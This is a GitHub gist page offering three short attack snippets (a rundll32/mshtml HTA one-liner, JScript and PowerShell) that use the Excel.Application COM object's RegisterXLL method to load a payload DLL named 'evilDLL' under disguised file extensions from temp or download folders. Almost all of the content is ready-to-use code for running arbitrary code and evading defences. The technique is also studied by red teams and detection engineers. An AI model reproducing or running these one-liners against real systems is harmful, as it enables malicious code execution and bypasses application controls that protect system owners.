-
-
Save gavz/cb351f769e40810314f8a6b526daccb4 to your computer and use it in GitHub Desktop.
Execute DLL via the Excel.Application object's RegisterXLL() method
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
REM rundll32 mshtml.dll HTA one-liner command: | |
rundll32.exe javascript:"\..\mshtml.dll,RunHTMLApplication ";x=new%20ActiveXObject('Excel.Application');x.RegisterXLL('C:\\Windows\\Temp\\evilDLL.log');this.close(); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Create Instace of Excel.Application COM object | |
var excel = new ActiveXObject("Excel.Application"); | |
// Pass in path to the DLL (can use any extension) | |
excel.RegisterXLL("C:\\Users\\Bob\\AppData\\Local\\Temp\\evilDLL.xyz"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Create Instace of Excel.Application COM object | |
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application")) | |
# Pass in path to the DLL (can use any extension) | |
$excel.RegisterXLL("C:\Users\Bob\Downloads\evilDLL.txt") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment